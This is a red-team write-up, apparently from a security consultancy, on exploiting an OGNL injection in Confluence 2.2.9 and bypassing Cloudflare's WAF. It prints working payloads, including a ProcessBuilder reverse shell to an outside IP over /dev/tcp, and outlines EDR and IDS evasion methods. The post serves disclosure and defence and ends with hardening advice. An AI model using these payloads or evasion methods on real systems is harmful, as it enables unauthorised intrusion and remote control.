Update May 6, 2020: CloudFlare has informed us that they have updated their default WAF rules to block java.lang.ProcessBuilder-based payloads as a result of this post. While it is possible that alternative code execution payloads could be developed using other techniques, we have confirmed that the payload described below is no longer effective. We would like to commend CloudFlare for engaging in a dialog and taking positive action to protect their network and its users.

Update April 22, 2020: The original version of this post contained an incorrect payload string containing an unnecessary %23. The post has been updated with a corrected payload.

During a recent long-term red team operation, it became necessary to exploit an OGNL injection vulnerability to obtain a foothold on the perimeter of a client’s subsidiary. After performing extensive covert reconnaissance of the internal network and exploiting esoteric Active Directory vulnerabilities, it was possible to exploit and compromise inter-forest trust between the subsidiary and parent company. This ultimately led to the catastrophic compromise of the parent company and successfully completing all red team objectives outlined before the operation.

During red team operations, the vast majority of footholds are obtained using phishing. A small number of footholds are obtained using physical penetration. In some cases, after determining that a subsidiary shares an internal network with a parent company, the subsidiary itself becomes a target for network-based attacks, and this often yields new avenues for finding more critical vulnerabilities to obtain a foothold.

This particular subsidiary was running an ancient version of Confluence from 2006. However, this instance of Confluence was set up behind a CloudFlare Web Application Firewall (WAF), thereby neutralizing the efficacy of off-the-shelf exploits for OGNL or SSTI vulnerabilities. In this post, we will demonstrate how CloudFlare’s WAF was bypassed. We will also discuss methodology to avoid triggering some forms of Intrusion Detection Systems (IDS) or Endpoint Detection and Response (EDR) implementations, as this was a red team operation and stealth is part of the definition.

Note that all URLs and IP addresses in this post will be of a test instance that replicates the target as closely as possible.

Setup

The process of discovering the landing page of this outdated version of Confluence involved some creative directory traversal and discovery. By visiting the original site root itself (“/”), a blank page was presented. After discovering the Confluence page via directory discovery, we find Confluence version 2.2.9. Since this is not a custom application built by the client, and to avoid sending a large number of requests against the target, we are going to set up our own local test instance of Confluence 2.2.9.

Figure 1: Version 2.2.9

Vulnerability Discovery

After looking online for any common vulnerabilities particular to this version of Confluence, we don’t have much luck. At this point, it is important to realize that Confluence is built using Java, so we can begin to perform basic web application scanning against our local instance with the hope of eventually finding a serious issue such as a Java object deserialization vulnerability. Static and dynamic code analysis for this Java instance may follow if our black-box approach does not yield results.

One important distinction between the live target and our test instance should be noted – the Confluence instance running on the target does not require authentication prior to allowing access to generating custom RSS feeds. This will become important momentarily, as this is where the critical vulnerability resides. Apparently, this issue was patched between versions of Confluence, as no public CVE was assigned to this vulnerability.

Figure 2: Navigating to the “Feed Builder” Functionality

We then simply create an RSS feed.

Figure 3: Create RSS Feed

After creating an RSS feed, we examine our web proxy (Burp) and scan that functionality. Burp discovers a potential Expression Language Injection attack vector.

Figure 4: Expression Language Injection

Manual Exploitation

At this point, we need to dig a little deeper to understand the nature of this injection. The most basic test, based on the request that Burp generated, involves evaluating an arithmetic expression.

Figure 5: Evaluating 7*7 via Server-Side Template Injection (SSTI)

My talented colleague Eric Rafaloff performed an in-depth analysis pertaining to an Apache Struts vulnerability (CVE-2017-5638) and went over OGNL injection in particular. The format of the injection string led us to believe that we were indeed dealing with OGNL. During the engagement, we avoided spending too much research time to figure out exactly why it was vulnerable; we were mostly interested in exploiting this vulnerability to obtain remote code execution (RCE) and therefore a foothold on the target.

Two potential methods to obtain RCE using OGNL injection are to use the “exec()” method of java.lang.Runtime, or methods of java.lang.ProcessBuilder. Another important item to note is that invalid OGNL expressions in this situation will silently fail; there are no error messages returned. Instead, we can use the “getClass()” method of java.lang.Object to determine if the preceding expression made sense to the OGNL interpreter, assuming the expression returns a Java object. If “getClass()” fails, it means that the expression is not well-formed. If “getClass()” returns a valid Class object, it indicates that the expression was valid. While we can locally debug our test setup’s Confluence process and examine logs, this getClass()-based debugging scheme was useful when we had to bypass the client’s instance of CloudFlare’s WAF, as a quick sanity check.

Figure 6: Using “getClass()” To Ensure Valid OGNL Expression

A basic RCE payload that can work for OGNL injection is the following:

${@java.lang.Runtime@getRuntime( ).exec ('ping%20-c%203%20 <IP_ADDRESS> ')}

This worked against our local instance that was not behind any type of firewall.

Figure 7: Successful Ping-Back Using Basic Payload

Let us try this against an instance with CloudFlare in front of it. After setting up a test CloudFlare instance to attempt bypassing the WAF, we will then attempt sending the same command. We then receive CloudFlare’s attention.

Figure 8: WAF Stopped Malicious Request

Bypassing CloudFlare

One of the most critical components of the “hacker mentality” is enumerating the edges of a system. Before you may subdue any system, you must understand its conceptual or physical limits. The most novel behavior of any system typically happens at its limits or edges, because it may allow you to peek into the system housing the subsystem. This novelty presents the hacker new avenues of exploitation – a new search space to explore or permutate. Whether this is a matter of manipulating a human or a machine, we must grasp its limits and how it behaves at these limits, so that we may ultimately manipulate the system that houses the victim subsystem, thereby allowing us to control the subsystem itself.

In less philosophical terms, we need to figure out what triggers CloudFlare.

The astute hacker may question, “did you try figuring out what the IP address of the server is without needing to connect to its hostname so you can bypass CloudFlare? You can figure that out using some services out there like Censys, you know?”

That is absolutely correct, and it is often the easier way to go about this; but unfortunately, that did not work in this case.

After spending some time trying different permutations of payloads, there are three items that CloudFlare doesn’t like about this particular payload:

We can’t have the term “ exec( “ inside the payload.

We can’t use more than 2 “#” symbols.

We can’t use brackets “[]”.





It turns out that those three items are important to the successful execution of an OGNL payload. Fortunately for us, Java is quite the versatile language.

We spent some time using Java’s reflection feature to concatenate the method “exec” without using it in one word. However, we then realized that CloudFlare does not mind the term “ProcessBuilder”, so we abandoned the “exec()” approach and went down this route instead. This bypasses the first limitation.

The “#” symbol in OGNL is used to set or access variables. This means we will have to chain creating an object and invoking methods on it/them in the same line or command. This is also feasible. We can avoid using all “#” symbols.

The last limitation pertains to using brackets. Unfortunately, both “exec()” and “ProcessBuilder” require passing in the program name and its arguments in the form of an array. Fortunately, we can convert from a “regular string” to an array[] in Java (and other languages) using the split method. We’ll have to be a little creative with how we do this to keep the original payload intact.

It is probably much more academically correct to have figured out how to run the exact version of the OGNL interpreter and avoid trial and error, but with time constraints and pressure to keep moving forward, a local Java instance sufficed.

After numerous iterations using a local Java instance to approximate OGNL interpreter behavior, we obtain a final payload that gives as a reverse shell through CloudFlare:

${p=(new%20java.lang.ProcessBuilder("bashX-cXbash+-i+%3e%26+/dev/tcp/18.191.28.204/4444+0%3e%261".split("X"))).start()}

URL-decoding this payload gives us the following:

java.lang .ProcessBuilder (" bashX-cXbash - i >& /dev/ tcp /18.191.28.204/4444 0>&1".split("X")).start()}

Let us go ahead and break down this payload. We are creating a “ProcessBuilder” instance that should run the command:

" bash -c ' bash - i >& /dev/ tcp /18.191.28.204/4444 0>& 1 ' "

The first “bash” command is executing a script.

The first “bash” command and its arguments have to be fed in as an array.

The second “bash” command is actually initiating the reverse shell.

The second “bash” command needs to be one contiguous string with spaces in between.

To create the array, we replace the spaces with ‘X’. We then invoke a split(“X”) on the string. This creates an array which has the values:

[ " bash " , " - c " , " bash - i >& /dev/ tcp /18.191.28.204/4444 0>&1 " ]

At this point, we can replace the spaces in the 3rd array element (element [2]) with ‘+’, which is URL-encoded for a space. After including the appropriate amount of closing parenthesis, quotes, and encoding other characters, we can invoke “start()” on the ProcessBuilder instance. This results in a successful reverse shell through CloudFlare.

Figure 9: Reverse Shell Acquired

Red Team Operational Security

Since we have tested this locally, this helps us minimize the number of test requests against the client to minimize suspicious behavior. We must now ensure that the payload itself is covert to evade intrusion detection systems (IDS) and/or enterprise detection and response (EDR) when we send the malicious request.

After determining that the affected server was running Linux, our experience performing red team operations and penetration testing suggested that machines running Linux are less likely to have an antivirus solution, let alone EDR implemented. Moreover, an organization or subsidiary that has a 2006 version of Confluence is highly unlikely to have an IDS implemented on the perimeter.

In fact, had this instance of Confluence been trivial to discover, we would have likely avoided it, since there is a chance it could have been a honeypot. Because it was difficult to discover, in addition to the fact that the instance of Confluence actually contained valid and realistic data over a period of time (exposed without authentication), indicated a valid, live target.

To bypass EDR for initial code execution, there are three considerations to take into account when writing simulated malware.

The signature of the file involved – on disk or memory.

The behavior of the malicious program – how it interacts with the operating system or other programs.

Reputation of the remote hosts it interacts with – the type of business sector the domain is part of , the age of the domain, etc.





Other considerations that indicate high-quality tradecraft include implementing anti–reverse engineering techniques within the deployed command and control (C2) agent, and building a non-conspicuous communications profile.

For IDS, there are network-wide considerations to think about; for example, exfiltrating large amounts of data over a short period of time is an obvious sign that something odd is going on internally, whether it’s a rogue employee or a malicious actor. Some Active Directory related detections can be present, such as Kerberoasting a large number of accounts in a very short time duration. This is an indicator of suspicious behavior within the network.

Aon’s Cyber Solutions is constantly researching novel Tactics, Techniques, and Procedures (TTPs) and is also capable of emulating existing Advanced Persistent Threats (APTs) based on a combination of publicly available information and the real-world experience of our incident response team.

In this instance, the initial payload would execute using Python (Linux) in the GET request to download and execute a stager. The secondary payload would download the full C2 agent and execute it in memory. The C2 agent would be written in a manner to avoid signature detection. Process creation, injection, and migration techniques would be novel and tested against a variety of modern EDR solutions prior to execution. Depending on the maturity of the target, advanced techniques may be used such as replacing common/standard API calls with lesser-known variants or custom implementations, direct syscall usage to bypass AV/EDR hooking, and other similar methods to evade detection. All communications would utilize domain fronting and encryption at the application level of the OSI model. This can effectively bypass signature, behavioral, and reputational detection.

After we obtained code execution, there was no AV or EDR installed as suspected, and the last time anyone logged into this machine was in 2015. This is a red teamer’s dream come true, as it provided seamless, covert access into the network, although it was a subsidiary’s network. Significant internal enumeration of workflows, codebases, users, and Active Directory structures was necessary to find blind spots and categorical weaknesses to ultimately compromise and exfiltrate data from the parent company (main target), without utilizing “loud exploits” or triggering warnings with regards to data exfiltration.

At the end of the day, there are no substitutes for the fundamentals of network security.

Inventory your network.

Perform routine patching and maintenance.

Segment your network and l imit access.

Use multi-factor authentication.

Conduct regular security assessments.





WAF, EDR, IDS, and similar technologies can be useful as defense-in-depth mechanisms, but it is important to begin with the fundamentals of positive security practices. Without the fundamentals, these technologies alone can be insufficient to defend against attack.

Author: Faisal Tameesh